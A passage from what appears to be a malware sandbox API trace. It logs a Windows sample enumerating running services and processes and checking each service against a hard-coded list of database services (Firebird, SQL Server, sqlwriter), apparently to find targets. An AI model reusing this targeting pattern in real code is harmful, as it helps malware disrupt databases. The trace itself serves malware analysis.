lpString2="SamSs") returned -1 [0168.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.253] lstrlenW (lpString="Schedule") returned 8 [0168.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.253] lstrlenW (lpString="SecurityHealthService") returned 21 [0168.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0168.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0168.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0168.253] lstrlenW (lpString="SENS") returned 4 [0168.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.253] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.254] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.254] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.254] lstrlenW (lpString="Spooler") returned 7 [0168.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.254] lstrlenW (lpString="StateRepository") returned 15 [0168.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0168.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0168.254] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0168.254] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0168.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0168.254] lstrlenW (lpString="SysMain") returned 7 [0168.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.254] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.254] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.254] lstrlenW (lpString="SystemEventsBroker") returned 18 [0168.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0168.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0168.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0168.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0168.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0168.255] lstrlenW (lpString="Themes") returned 6 [0168.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.255] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0168.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0168.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0168.255] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0168.255] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0168.255] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4581838 | out: hHeap=0x710000) returned 1 [0168.255] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x520 [0168.385] Process32FirstW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.385] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.386] lstrlenW (lpString="System") returned 6 [0168.386] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.387] lstrlenW (lpString="smss.exe") returned 8 [0168.387] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.388] lstrlenW (lpString="csrss.exe") returned 9 [0168.389] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.389] lstrlenW (lpString="wininit.exe") returned 11 [0168.389] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.390] lstrlenW (lpString="csrss.exe") returned 9 [0168.390] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.391] lstrlenW (lpString="winlogon.exe") returned 12 [0168.391] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.392] lstrlenW (lpString="services.exe") returned 12 [0168.392] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.393] lstrlenW (lpString="lsass.exe") returned 9 [0168.393] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.394] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.394] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.395] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.395] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.396] lstrlenW (lpString="svchost.exe") returned 11 [0168.396] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.397] lstrlenW (lpString="svchost.exe") returned 11 [0168.397] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.398] lstrlenW (lpString="dwm.exe") returned 7 [0168.398] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.399] lstrlenW (lpString="svchost.exe") returned 11 [0168.399] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.399] lstrlenW (lpString="svchost.exe") returned 11 [0168.400] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.400] lstrlenW (lpString="svchost.exe") returned 11 [0168.400] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.401] lstrlenW (lpString="svchost.exe") returned 11 [0168.401] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.402] lstrlenW (lpString="svchost.exe") returned 11 [0168.402] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.403] lstrlenW (lpString="svchost.exe") returned 11 [0168.403] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.404] lstrlenW (lpString="svchost.exe") returned 11 [0168.404] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.405] lstrlenW (lpString="svchost.exe") returned 11 [0168.405] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.406] lstrlenW (lpString="svchost.exe") returned 11 [0168.406] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.407] lstrlenW (lpString="svchost.exe") returned 11 [0168.407] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.408] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.408] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.409] lstrlenW (lpString="svchost.exe") returned 11 [0168.409] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.410] lstrlenW (lpString="audiodg.exe") returned 11 [0168.410] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.411] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.411] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0168.412] lstrlenW (lpString="sihost.exe") returned 10 [0168.412] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.413] lstrlenW (lpString="svchost.exe") returned 11 [0168.413] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0168.414] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0168.414] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0168.415] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0168.415] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0168.416] lstrlenW (lpString="Memory Compression") returned 18 [0168.416] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.416] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.417] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0168.417] lstrlenW (lpString="msoia.exe") returned 9 [0168.417] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.437] lstrlenW (lpString="explorer.exe") returned 12 [0168.437] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0168.438] lstrlenW (lpString="SearchUI.exe") returned 12 [0168.439] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0168.439] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0168.439] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0168.440] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0168.440] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0168.441] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0168.441] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0168.442] lstrlenW (lpString="wmxsde.exe") returned 10 [0168.442] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0168.443] lstrlenW (lpString="cmd.exe") returned 7 [0168.443] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.444] lstrlenW (lpString="conhost.exe") returned 11 [0168.444] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0168.445] lstrlenW (lpString="mode.com") returned 8 [0168.445] Process32NextW (in: hSnapshot=0x520, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0168.446] CloseHandle (hObject=0x520) returned 1 [0168.446] Sleep (dwMilliseconds=0x1f4) [0169.035] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f5b0 [0169.035] EnumServicesStatusExW (in: hSCManager=0x459f5b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0169.036] GetLastError () returned 0xea [0169.036] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x4582fb0 [0169.036] EnumServicesStatusExW (in: hSCManager=0x459f5b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4582fb0, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4582fb0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0169.040] CloseServiceHandle (hSCObject=0x459f5b0) returned 1 [0169.040] lstrlenW (lpString="Appinfo") returned 7 [0169.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.040] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.040] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.040] lstrlenW (lpString="AppXSvc") returned 7 [0169.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0169.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0169.040] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0169.040] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0169.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0169.040] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.040] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.040] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.040] lstrlenW (lpString="Audiosrv") returned 8 [0169.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0169.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0169.040] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0169.041] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0169.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0169.041] lstrlenW (lpString="BFE") returned 3 [0169.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.041] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.041] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0169.041] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0169.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.041] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0169.041] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0169.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0169.041] lstrlenW (lpString="CDPSvc") returned 6 [0169.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0169.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0169.041] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0169.041] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0169.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0169.041] lstrlenW (lpString="ClickToRunSvc") returned 13 [0169.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.041] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0169.041] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0169.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") 